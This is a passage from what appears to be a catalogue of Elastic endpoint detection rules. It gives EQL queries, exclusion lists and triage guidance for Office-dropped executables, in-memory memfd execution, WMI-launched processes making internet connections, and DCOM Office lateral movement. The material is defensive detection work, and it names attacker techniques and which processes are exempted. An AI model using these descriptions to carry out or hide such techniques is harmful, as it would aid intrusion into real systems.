("9c3b9f4d38e6c7a9614d99260078c8f05f8e187eb25a23f03ea53f0120179494",
"6c6c55cc9411700ad806ca9b2894fd339bfef23e1f836611c1d617485c13d91f",
"dd05bbbbb72b847b7e404a9011404ca058b9144b3a1648ce9cd4edd4868052dc",
"ebdef325ca2c3c6ded43b1e85263746719c609a9f8a0f43927764d80e92a865a")
] by process.executable
'''
min_endpoint_version = "7.15.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 1
tree = true
[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 1
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[threat.technique.subtechnique]]
id = "T1059.005"
name = "Visual Basic"
reference = "https://attack.mitre.org/techniques/T1059/005/"
[[threat.technique.subtechnique]]
id = "T1059.007"
name = "JavaScript"
reference = "https://attack.mitre.org/techniques/T1059/007/"
[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[internal]
min_endpoint_version = "7.15.0"
Stages and Predicates
Ordered sequence: each step below must occur in order within 5m, correlated by file.path, process.executable.
Stage 1: file
[file where event.action != "deletion" and
process.name : ("cscript.exe", "wscript.exe") and
not file.path : ("?:\\Program Files (x86)\\*.exe", "?:\\Program Files\\*.exe")] by file.path
Stage 2: process
[process where event.action == "start" and
not process.Ext.token.integrity_level_name == "system" and
not process.parent.executable : "?:\\Windows\\System32\\drvinst.exe" and
not (process.code_signature.trusted == true and
process.code_signature.subject_name :
("Microsoft *",
"ESET, spol. s r.o.",
"VORTECH SOLUTIONS PTY LTD",
"Western Union Holdings Inc.",
"KOBIL Systems GmbH")) and
not (process.pe.original_file_name : "Packman.exe" and process.args : "checkCompileErrors=true") and
not process.pe.original_file_name : ("CCCLauncher.exe", "Bginfo.exe") and
not process.executable : ("?:\\Program Files (x86)\\*", "?:\\Program Files\\*") and
not (process.pe.original_file_name == "cognosrcp.exe" and
process.code_signature.subject_name == "IBM Canada Ltd." and process.code_signature.trusted == true) and
not (process.code_signature.subject_name : ("The Qt Company Oy", "ci solution GmbH", "Spotify AB", "Nextech Systems, LLC") and
process.code_signature.trusted == true) and
not process.hash.sha256 :
("9c3b9f4d38e6c7a9614d99260078c8f05f8e187eb25a23f03ea53f0120179494",
"6c6c55cc9411700ad806ca9b2894fd339bfef23e1f836611c1d617485c13d91f",
"dd05bbbbb72b847b7e404a9011404ca058b9144b3a1648ce9cd4edd4868052dc",
"ebdef325ca2c3c6ded43b1e85263746719c609a9f8a0f43927764d80e92a865a")
] by process.executable
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"start" |
event.action | ne |
| field:"EventType" kind:ne value:"deletion" |
process.name | wildcard |
| field:"process_basename" kind:wildcard |
Exclusions
The rule actively suppresses these predicates.
Execution of File Written or Modified by Microsoft Office
#Identifies an executable created by a Microsoft Office application and subsequently executed. These processes are often launched via scripts inside documents or during exploitation of Microsoft Office applications.
MITRE ATT&CK Coverage
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
[metadata]
creation_date = "2020/09/02"
integration = ["endpoint"]
maturity = "production"
updated_date = "2026/05/01"
[rule]
author = ["Elastic"]
description = """
Identifies an executable created by a Microsoft Office application and subsequently executed. These processes are often
launched via scripts inside documents or during exploitation of Microsoft Office applications.
"""
from = "now-120m"
index = ["logs-endpoint.events.process-*", "logs-endpoint.events.file-*", "endgame-*"]
interval = "60m"
language = "eql"
license = "Elastic License v2"
name = "Execution of File Written or Modified by Microsoft Office"
risk_score = 73
rule_id = "0d8ad79f-9025-45d8-80c1-4f0cd3c5e8e5"
severity = "high"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Execution",
"Resources: Investigation Guide",
"Data Source: Elastic Endgame",
"Data Source: Elastic Defend",
]
type = "eql"
query = '''
sequence with maxspan=2h
[file where host.os.type == "windows" and event.type != "deletion" and file.extension : "exe" and
process.name : (
"WINWORD.EXE", "EXCEL.EXE", "OUTLOOK.EXE", "POWERPNT.EXE",
"eqnedt32.exe", "fltldr.exe", "MSPUB.EXE", "MSACCESS.EXE"
)
] by host.id, file.path
[process where host.os.type == "windows" and event.type == "start" and
not (process.name : "NewOutlookInstaller.exe" and process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) and
not (process.name : "ShareFileForOutlook-v*.exe" and process.code_signature.subject_name : "Citrix Systems, Inc." and process.code_signature.trusted == true)
] by host.id, process.executable
'''
note = """## Triage and analysis
### Investigating Execution of File Written or Modified by Microsoft Office
#### Possible investigation steps
- Which source events matched the Office write-to-execute sequence?
- Why: this sequence can merge fields from different file and process events, so source events are the evidence for writer and executed-process identity.
- Focus: open Investigate in Timeline for the alert window on the same host; compare written `file.path` with executed `process.executable`, then record source `process.name`, `process.entity_id`, and stable `user.id`.
- Implication: escalate when Office creates an executable that later starts from the same path; lower suspicion when the recovered sequence resolves to a recognized signed add-in or helper updater in a controlled product tree. Signed Microsoft NewOutlookInstaller.exe and Citrix ShareFileForOutlook helpers are excluded, so a generic updater label is not closure.
- Is the Office writer the expected Office component and parent context?
- Focus: writer `process.executable`, signer/trust, `process.parent.executable`, and `process.parent.command_line`.
- Implication: escalate when WINWORD.EXE, EXCEL.EXE, OUTLOOK.EXE, POWERPNT.EXE, MSPUB.EXE, MSACCESS.EXE, eqnedt32.exe, or fltldr.exe is renamed, untrusted, user-writable, or launched by an unusual parent; lower suspicion when writer path, signer, and parent chain match the user's recognized Office integration. Writer identity never clears the executed file by itself.
- Does the written executable look staged for payload delivery?
- Focus: `file.path`, original path/extension, `file.Ext.header_bytes`, `file.Ext.windows.zone_identifier`, and same-host file activity on the written path. $investigate_1
- Implication: escalate for Temp, Downloads, AppData, mail cache, startup, unrelated product paths, Internet Zone evidence, or executable content after rename; lower suspicion when the artifact stays in a recognized add-in or update tree and path history fits that workflow.
- Does the executed file's identity and command line fit the same workflow?
- Focus: executed `process.executable`, `process.hash.sha256`, signer, `process.command_line`, and `process.Ext.relative_file_creation_time`.
- Hint: use prior endpoint process starts or related alerts for `process.hash.sha256` only after identity and command line fit the suspected workflow. $investigate_2
- Implication: escalate when the executable is newly created, unsigned, user-writable, mismatched to signer or path, or launched with script, LOLBin, unpacking, or self-extracting arguments; lower suspicion only when signer, hash history, path, age, and arguments all fit the same recognized helper workflow.
- What document, email, archive, or integration source caused Office to write the executable?
- Focus: file events from writer `process.entity_id`; review `file.path`, `file.origin_url`, `file.origin_referrer_url`, and `file.Ext.windows.zone_identifier`.
- Hint: if records are incomplete or the entity pivot returns none, use the same host, writer `process.pid`, and tight write-time window.
- Implication: escalate when the write follows a downloaded document, email attachment, archive extraction, or web referrer outside the same recognized workflow; lower suspicion when provenance points to a recognized deployment package or Office integration source. Missing provenance is inconclusive, not benign.
- Did the executed file produce malicious follow-on process or file activity?
- Focus: process and file events scoped to executed `process.entity_id`: child `process.parent.entity_id`, child `process.command_line`, and new `file.path` values.
- Hint: if records are incomplete or the entity pivot returns none, use the same host, executed `process.pid`, and post-start window.
- Implication: escalate when the payload launches script interpreters, LOLBins, unpackers, or additional binaries, or stages files outside the recognized product tree; lower urgency when follow-on activity stays limited to expected local install or update actions. Preserve Office-written DLLs, scripts, or shortcut launchers in the same scope as adjacent payload variants.
- If local findings remain suspicious or unresolved, do related alerts show the same delivery chain or spread?
- Focus: related alerts for `host.id`, then pivot on recovered stable `user.id`; prioritize document delivery, script execution, persistence, and outbound connection alerts. $investigate_0
- Implication: broaden scope when related alerts connect the same host or user to delivery, scripting, persistence, or beaconing; keep scope local when the sequence is isolated and local evidence supports one recognized workflow.
- Escalate when sequence, artifact, identity, delivery, behavior, or related-alert evidence supports suspicious Office write-to-execute activity; close only when all categories align with one recognized add-in, updater, or integration workflow and no contradictory artifacts remain; if evidence is mixed or incomplete, preserve artifacts and escalate.
### False positive analysis
- Office add-in, repair, updater, document-management, e-signature, DLP, or collaboration integrations can write and launch helper executables. Confirm that writer identity, written path, executed hash or signer, parent context, provenance, command line, and follow-on activity all point to the same product or integration workflow. If records are unavailable, require telemetry-only recurrence of the same writer, path tree, signer/hash pattern, and `host.id` or `user.id` cohort across prior alerts.
- Before creating an exception, validate that the same Office writer, path tree, executed signer or `process.hash.sha256`, provenance pattern, and `host.id`/`user.id` cohort recur across prior alerts from this rule. Build the exception from that minimum workflow pattern; avoid exceptions on Office process names, `process.name`, or `file.extension` alone.
### Response and remediation
- If confirmed benign, reverse temporary containment and document the writer identity, written path tree, executed hash and signer, parent/delivery context, and recurrence evidence. Create an exception only for the same stable workflow pattern.
- If suspicious but unconfirmed, preserve Timeline source events, copies of the written executable and source document/archive, process tree details, recovered entity IDs, command line, hash, path, and provenance URLs before containment. Apply reversible containment first: quarantine the lure or executable, block the confirmed hash/path temporarily where controls support it, or increase monitoring on the affected `host.id` and `user.id`. Isolate the host only if follow-on process/file evidence shows malicious staging or execution and the host can tolerate interruption.
- If confirmed malicious, isolate the host and terminate the executed payload after preserving the source events, process tree, written executable, lure document or archive, hash, signer, and provenance evidence. Block the confirmed hash or path where controls support it, then remove the malicious executable, lure, archive, and staged files identified during the investigation.
- Review related hosts and users for the same written path pattern, executed hash, signer, and provenance evidence before deleting artifacts. Then remediate the delivery path, such as the phishing message, archive, or malicious Office document, that led to the write-execute sequence.
- Post-incident hardening: restrict Office-driven writes and launches of executable content in user-writable paths, retain endpoint file-provenance and process-start telemetry, and record confirmed adjacent variants, such as Office-written DLLs, scripts, or shortcut launchers, in the case history for future triage.
"""
setup = """## Setup
This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.
Setup instructions: https://ela.st/install-elastic-defend
"""
[rule.investigation_fields]
field_names = [
"@timestamp",
"host.id",
"user.id",
"kibana.alert.reason",
]
[transform]
[[transform.investigate]]
label = "Alerts associated with the host"
description = ""
providers = [
[
{ excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
]
]
relativeFrom = "now-48h/h"
relativeTo = "now"
[[transform.investigate]]
label = "File events for the written executable path"
description = ""
providers = [
[
{ excluded = false, field = "event.category", queryType = "phrase", value = "file", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
{ excluded = false, field = "file.path", queryType = "phrase", value = "{{file.path}}", valueType = "string" }
]
]
relativeFrom = "now-2h"
relativeTo = "now"
[[transform.investigate]]
label = "Alerts associated with the executed file hash"
description = ""
providers = [
[
{ excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
{ excluded = false, field = "process.hash.sha256", queryType = "phrase", value = "{{process.hash.sha256}}", valueType = "string" }
]
]
relativeFrom = "now-48h/h"
relativeTo = "now"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1203"
name = "Exploitation for Client Execution"
reference = "https://attack.mitre.org/techniques/T1203/"
[[rule.threat.technique]]
id = "T1204"
name = "User Execution"
reference = "https://attack.mitre.org/techniques/T1204/"
[[rule.threat.technique.subtechnique]]
id = "T1204.002"
name = "Malicious File"
reference = "https://attack.mitre.org/techniques/T1204/002/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1566"
name = "Phishing"
reference = "https://attack.mitre.org/techniques/T1566/"
[[rule.threat.technique.subtechnique]]
id = "T1566.001"
name = "Spearphishing Attachment"
reference = "https://attack.mitre.org/techniques/T1566/001/"
[[rule.threat.technique.subtechnique]]
id = "T1566.002"
name = "Spearphishing Link"
reference = "https://attack.mitre.org/techniques/T1566/002/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
Stages and Predicates
Ordered sequence: each step below must occur in order within 2h, correlated by file.path, host.id, process.executable.
Stage 1: file
[file where host.os.type == "windows" and event.type != "deletion" and file.extension : "exe" and
process.name : (
"WINWORD.EXE", "EXCEL.EXE", "OUTLOOK.EXE", "POWERPNT.EXE",
"eqnedt32.exe", "fltldr.exe", "MSPUB.EXE", "MSACCESS.EXE"
)
] by host.id, file.path
Stage 2: process
[process where host.os.type == "windows" and event.type == "start" and
not (process.name : "NewOutlookInstaller.exe" and process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) and
not (process.name : "ShareFileForOutlook-v*.exe" and process.code_signature.subject_name : "Citrix Systems, Inc." and process.code_signature.trusted == true)
] by host.id, process.executable
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.type | eq |
| field:"event.type" kind:eq value:"start" |
event.type | ne |
| field:"event.type" kind:ne value:"deletion" |
file.extension | wildcard |
| field:"file.extension" kind:wildcard value:"exe" |
process.name | wildcard |
| field:"process_basename" kind:wildcard |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.code_signature.subject_name | eq | Citrix Systems, Inc. | excludes:process.code_signature.subject_name field:"process.code_signature.subject_name" value:"Citrix Systems, Inc." |
process.code_signature.trusted | eq | true | excludes:process.code_signature.trusted field:"process.code_signature.trusted" value:"true" |
process.name | wildcard | ShareFileForOutlook-v*.exe | excludes:process.name field:"process.name" value:"ShareFileForOutlook-v*.exe" |
process.code_signature.subject_name | eq | Microsoft Corporation | excludes:process.code_signature.subject_name field:"process.code_signature.subject_name" value:"Microsoft Corporation" |
process.name | eq | NewOutlookInstaller.exe | excludes:process.name field:"process.name" value:"NewOutlookInstaller.exe" |
Execution of Memory File Descriptor via Interactive Session
#Detects when a file descriptor in the proc (temporary) file system is executed via an interactive session. This activity indicates an active attempt to execute an in-memory file and should be considered highly abnormal or suspicious. This activity can occur when the memfd syscall is utilized to create a memory resident file, like a payload, and then execute it via command and control.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Stealth |
Rule Body
[rule]
description = """
Detects when a file descriptor in the proc (temporary) file system is executed via an interactive session. This activity
indicates an active attempt to execute an in-memory file and should be considered highly abnormal or suspicious. This
activity can occur when the memfd syscall is utilized to create a memory resident file, like a payload, and then execute
it via command and control.
"""
id = "fbc224a0-5469-4c0c-953d-fc57e0293197"
license = "Elastic License v2"
name = "Execution of Memory File Descriptor via Interactive Session"
os_list = ["linux"]
reference = [
"https://github.com/MythicAgents/merlin/blob/main/Payload_Type/merlin/container/commands/memfd.go",
"https://x-c3ll.github.io/posts/fileless-memfd_create/",
]
version = "1.0.23"
query = '''
process where event.type == "start" and event.action == "exec" and process.parent.executable != null and
process.executable regex """/proc/(self|[0-9]{1,7})/fd/[0-9]{1,7}""" and process.interactive == true and
not (
process.command_line in ("runc init", "/var/gdn/assets/linux/bin/runc init", "/usr/sbin/pfman", "lxc-attach -n rdsd.lv") or
process.args == "datadog-ipc-helper" or
process.parent.command_line == "/sbin/init" or
process.parent.executable in (
"/usr/sbin/runc", "/usr/libexec/snapd/snap-confine", "/var/lib/snapd/snap/bin/direnv", "/usr/lib/systemd/systemd",
"/usr/bin/runc", "/usr/bin/login", "/usr/bin/nvidia-cdi-hook", "/usr/bin/buildkit-runc", "/usr/bin/nordlayer",
"/usr/sbin/nordlayer", "/usr/libexec/nordlayer/nordlayer-setcap", "/sbin/apk", "/opt/sophos-spl/plugins/runtimedetections/bin/runtimedetections"
) or
process.parent.executable like (
"/proc/self/fd/*/*", "/home/*/.local/share/JetBrains/Toolbox/apps/rider/bin/rider", "/usr/bin/tini",
"/home/*/.codex/*/codex-linux-sandbox", "/tmp/newroot/home/*/.codex/*/codex-linux-sandbox",
"/tmp/home/*/.codex/*/codex-linux-sandbox", "/home/*/.npm-global/lib/node_modules/@openai/codex/node_modules/@openai/*/bin/codex"
) or
(process.parent.name == "init" and process.args == "/usr/lib/systemd/systemd-executor") or
(process.parent.name like "python*" and process.args == "-m" and process.args == "test.regrtest" and process.args == "--pgo")
)
'''
min_endpoint_version = "8.3.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1106"
name = "Native API"
reference = "https://attack.mitre.org/techniques/T1106/"
[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1620"
name = "Reflective Code Loading"
reference = "https://attack.mitre.org/techniques/T1620/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "8.3.0"
Stages and Predicates
Stage 1: process
process where event.type == "start" and event.action == "exec" and process.parent.executable != null and
process.executable regex """/proc/(self|[0-9]{1,7})/fd/[0-9]{1,7}""" and process.interactive == true and
not (
process.command_line in ("runc init", "/var/gdn/assets/linux/bin/runc init", "/usr/sbin/pfman", "lxc-attach -n rdsd.lv") or
process.args == "datadog-ipc-helper" or
process.parent.command_line == "/sbin/init" or
process.parent.executable in (
"/usr/sbin/runc", "/usr/libexec/snapd/snap-confine", "/var/lib/snapd/snap/bin/direnv", "/usr/lib/systemd/systemd",
"/usr/bin/runc", "/usr/bin/login", "/usr/bin/nvidia-cdi-hook", "/usr/bin/buildkit-runc", "/usr/bin/nordlayer",
"/usr/sbin/nordlayer", "/usr/libexec/nordlayer/nordlayer-setcap", "/sbin/apk", "/opt/sophos-spl/plugins/runtimedetections/bin/runtimedetections"
) or
process.parent.executable like (
"/proc/self/fd/*/*", "/home/*/.local/share/JetBrains/Toolbox/apps/rider/bin/rider", "/usr/bin/tini",
"/home/*/.codex/*/codex-linux-sandbox", "/tmp/newroot/home/*/.codex/*/codex-linux-sandbox",
"/tmp/home/*/.codex/*/codex-linux-sandbox", "/home/*/.npm-global/lib/node_modules/@openai/codex/node_modules/@openai/*/bin/codex"
) or
(process.parent.name == "init" and process.args == "/usr/lib/systemd/systemd-executor") or
(process.parent.name like "python*" and process.args == "-m" and process.args == "test.regrtest" and process.args == "--pgo")
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"exec" |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.executable | regex_match |
| field:"Image" kind:regex_match value:"/proc/(self|[0-9]{1,7})/fd/[0-9]{1,7}" |
process.interactive | eq |
| field:"process.interactive" kind:eq value:"true" |
process.parent.executable | is_not_null | field:"ParentImage" kind:is_not_null |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.args | eq | --pgo | excludes:process.args field:"process.args" value:"--pgo" |
process.args | eq | -m | excludes:process.args field:"process.args" value:"-m" |
process.args | eq | test.regrtest | excludes:process.args field:"process.args" value:"test.regrtest" |
process.parent.name | starts_with | python | excludes:process.parent.name field:"process.parent.name" value:"python" |
process.args | eq | /usr/lib/systemd/systemd-executor | excludes:process.args field:"process.args" value:"/usr/lib/systemd/systemd-executor" |
process.parent.name | eq | init | excludes:process.parent.name field:"process.parent.name" value:"init" |
process.args | eq | datadog-ipc-helper | excludes:process.args field:"process.args" value:"datadog-ipc-helper" |
process.command_line | in | /usr/sbin/pfman, /var/gdn/assets/linux/bin/runc init, lxc-attach -n rdsd.lv, runc init | excludes:process.command_line |
process.parent.command_line | eq | /sbin/init | excludes:process.parent.command_line field:"process.parent.command_line" value:"/sbin/init" |
process.parent.executable | in | /opt/sophos-spl/plugins/runtimedetections/bin/runtimedetections, /sbin/apk, /usr/bin/buildkit-runc, /usr/bin/login, /usr/bin/nordlayer, /usr/bin/nvidia-cdi-hook, /usr/bin/runc, /usr/lib/systemd/systemd, /usr/libexec/nordlayer/nordlayer-setcap, /usr/libexec/snapd/snap-confine, /usr/sbin/nordlayer, /usr/sbin/runc, /var/lib/snapd/snap/bin/direnv | excludes:process.parent.executable |
process.parent.executable | wildcard | /proc/self/fd/*/*, /home/*/.local/share/JetBrains/Toolbox/apps/rider/bin/rider, /usr/bin/tini, /home/*/.codex/*/codex-linux-sandbox, /tmp/newroot/home/*/.codex/*/codex-linux-sandbox, /tmp/home/*/.codex/*/codex-linux-sandbox, /home/*/.npm-global/lib/node_modules/@openai/codex/node_modules/@openai/*/bin/codex | excludes:process.parent.executable |
Execution via WMI followed by Network Connection
#Identifies the execution of a process via Windows Management Instrumentation (WMI) and where the effective parent is performing network connections to the internet.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution |
Rule Body
[rule]
description = """
Identifies the execution of a process via Windows Management Instrumentation (WMI) and where the effective parent is
performing network connections to the internet.
"""
id = "cf738466-9fff-44d9-8603-4a7e6e6c8d1f"
license = "Elastic License v2"
name = "Execution via WMI followed by Network Connection"
os_list = ["windows"]
version = "1.0.8"
query = '''
sequence with maxspan=5m
[process where event.action == "start" and
process.parent.name : "WmiPrvSE.exe" and process.Ext.effective_parent.executable : "C:\\*" and
not (process.executable : "?:\\Windows\\System32\\spool\\drivers\\*" and
process.Ext.effective_parent.executable : "?:\\Windows\\LTSvc\\LTSVC.exe") and
not (process.name : "WerFault.exe" and process.Ext.effective_parent.name : ("WmiPrvSE.exe", "svchost.exe")) and
not process.hash.sha256 :
("f4620b3925a5671585e658d009a0909971c75ff24618d95ef366f0b237608ef0",
"0e8606ba02828d403e321e37f1568aa321a95d3bdbdb83b73583105b666d79ba") and
not (process.Ext.effective_parent.executable : "C:\\Windows\\System32\\inetsrv\\w3wp.exe" and
process.command_line : "C:\\Windows\\system32\\cmd.exe /c C:\\SysMgmt\\service\\mwtools\\SD_Installer_Start.cmd") and
not (process.code_signature.subject_name : ("FUJITSU CLIENT COMPUTING LIMITED", "Siemens AG") and process.code_signature.trusted == true) and
not process.Ext.effective_parent.executable :
("I:\\SCCM\\bin\\X64\\smsexec.exe",
"?:\\Program Files\\*.exe",
"?:\\Program Files (x86)\\*.exe",
"?:\\Windows\\System32\\wbem\\WmiPrvSE.exe",
"?:\\Windows\\CCM\\ClientUX\\SCClient.exe",
"C:\\Windows\\CCM\\CcmExec.exe",
"C:\\Windows\\ccmcache\\*.exe",
"C:\\Windows\\System32\\taskhostw.exe")] by process.Ext.effective_parent.entity_id
[network where
/* omitted 192.168.0.0 for testing */
not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24",
"192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32",
"192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.88.99.0/24", "224.0.0.0/4",
"100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1",
"FE80::/10", "FF00::/8")] by process.entity_id
'''
min_endpoint_version = "8.4.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1047"
name = "Windows Management Instrumentation"
reference = "https://attack.mitre.org/techniques/T1047/"
[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[internal]
min_endpoint_version = "8.4.0"
Stages and Predicates
Ordered sequence: each step below must occur in order within 5m, correlated by process.Ext.effective_parent.entity_id, process.entity_id.
Stage 1: process
[process where event.action == "start" and
process.parent.name : "WmiPrvSE.exe" and process.Ext.effective_parent.executable : "C:\\*" and
not (process.executable : "?:\\Windows\\System32\\spool\\drivers\\*" and
process.Ext.effective_parent.executable : "?:\\Windows\\LTSvc\\LTSVC.exe") and
not (process.name : "WerFault.exe" and process.Ext.effective_parent.name : ("WmiPrvSE.exe", "svchost.exe")) and
not process.hash.sha256 :
("f4620b3925a5671585e658d009a0909971c75ff24618d95ef366f0b237608ef0",
"0e8606ba02828d403e321e37f1568aa321a95d3bdbdb83b73583105b666d79ba") and
not (process.Ext.effective_parent.executable : "C:\\Windows\\System32\\inetsrv\\w3wp.exe" and
process.command_line : "C:\\Windows\\system32\\cmd.exe /c C:\\SysMgmt\\service\\mwtools\\SD_Installer_Start.cmd") and
not (process.code_signature.subject_name : ("FUJITSU CLIENT COMPUTING LIMITED", "Siemens AG") and process.code_signature.trusted == true) and
not process.Ext.effective_parent.executable :
("I:\\SCCM\\bin\\X64\\smsexec.exe",
"?:\\Program Files\\*.exe",
"?:\\Program Files (x86)\\*.exe",
"?:\\Windows\\System32\\wbem\\WmiPrvSE.exe",
"?:\\Windows\\CCM\\ClientUX\\SCClient.exe",
"C:\\Windows\\CCM\\CcmExec.exe",
"C:\\Windows\\ccmcache\\*.exe",
"C:\\Windows\\System32\\taskhostw.exe")] by process.Ext.effective_parent.entity_id
Stage 2: network
[network where
not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24",
"192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32",
"192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.88.99.0/24", "224.0.0.0/4",
"100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1",
"FE80::/10", "FF00::/8")] by process.entity_id
Indicators
These rows show field, operator, and value matches.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.Ext.effective_parent.executable | eq | ?:\Windows\LTSvc\LTSVC.exe | excludes:process.Ext.effective_parent.executable field:"process.Ext.effective_parent.executable" value:"?:\Windows\LTSvc\LTSVC.exe" |
process.executable | starts_with | ?:\Windows\System32\spool\drivers\ | excludes:process.executable field:"process.executable" value:"?:\Windows\System32\spool\drivers\" |
process.Ext.effective_parent.executable | eq | C:\Windows\System32\inetsrv\w3wp.exe | excludes:process.Ext.effective_parent.executable field:"process.Ext.effective_parent.executable" value:"C:\Windows\System32\inetsrv\w3wp.exe" |
process.command_line | eq | C:\Windows\system32\cmd.exe /c C:\SysMgmt\service\mwtools\SD_Installer_Start.cmd | excludes:process.command_line field:"process.command_line" value:"C:\Windows\system32\cmd.exe /c C:\SysMgmt\service\mwtools\SD_Installer_Start.cmd" |
process.Ext.effective_parent.name | eq | WmiPrvSE.exe, svchost.exe | excludes:process.Ext.effective_parent.name field:"process.Ext.effective_parent.name" value:"WmiPrvSE.exe" field:"process.Ext.effective_parent.name" value:"svchost.exe" |
process.name | eq | WerFault.exe | excludes:process.name field:"process.name" value:"WerFault.exe" |
process.code_signature.subject_name | eq | FUJITSU CLIENT COMPUTING LIMITED, Siemens AG | excludes:process.code_signature.subject_name field:"process.code_signature.subject_name" value:"FUJITSU CLIENT COMPUTING LIMITED" field:"process.code_signature.subject_name" value:"Siemens AG" |
process.code_signature.trusted | eq | true | excludes:process.code_signature.trusted field:"process.code_signature.trusted" value:"true" |
process.Ext.effective_parent.executable | wildcard | I:\SCCM\bin\X64\smsexec.exe, ?:\Program Files\*.exe, ?:\Program Files (x86)\*.exe, ?:\Windows\System32\wbem\WmiPrvSE.exe, ?:\Windows\CCM\ClientUX\SCClient.exe, C:\Windows\CCM\CcmExec.exe, C:\Windows\ccmcache\*.exe, C:\Windows\System32\taskhostw.exe | excludes:process.Ext.effective_parent.executable |
process.hash.sha256 | eq | f4620b3925a5671585e658d009a0909971c75ff24618d95ef366f0b237608ef0, 0e8606ba02828d403e321e37f1568aa321a95d3bdbdb83b73583105b666d79ba | excludes:process.hash.sha256 field:"process.hash.sha256" value:"f4620b3925a5671585e658d009a0909971c75ff24618d95ef366f0b237608ef0" field:"process.hash.sha256" value:"0e8606ba02828d403e321e37f1568aa321a95d3bdbdb83b73583105b666d79ba" |
destination.ip | cidr_match | 10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.0.0.0/24, 192.0.0.0/29, 192.0.0.8/32, 192.0.0.9/32, 192.0.0.10/32, 192.0.0.170/32, 192.0.0.171/32, 192.0.2.0/24, 192.31.196.0/24, 192.52.193.0/24, 192.88.99.0/24, 224.0.0.0/4, 100.64.0.0/10, 192.175.48.0/24, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 240.0.0.0/4, ::1, FE80::/10, FF00::/8 | excludes:destination.ip |
Lateral Execution via DCOM Office Application
#Identifies remote execution via Distributed Component Object Model service to launch a process via a Microsoft Office application.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Lateral Movement |
Rule Body
[rule]
description = """
Identifies remote execution via Distributed Component Object Model service to launch a process via a Microsoft Office
application.
"""
id = "0e9b9019-fc99-4294-9232-8581e30cd240"
license = "Elastic License v2"
name = "Lateral Execution via DCOM Office Application"
os_list = ["windows"]
reference = [
"https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922",
]
version = "1.0.6"
query = '''
process where event.action == "start" and process.Ext.session_info.logon_type : "Network*" and
process.parent.executable : "?:\\Program Files*\\Microsoft Office\\*.exe" and process.parent.args : "-Embedding" and
not process.executable : ("C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe",
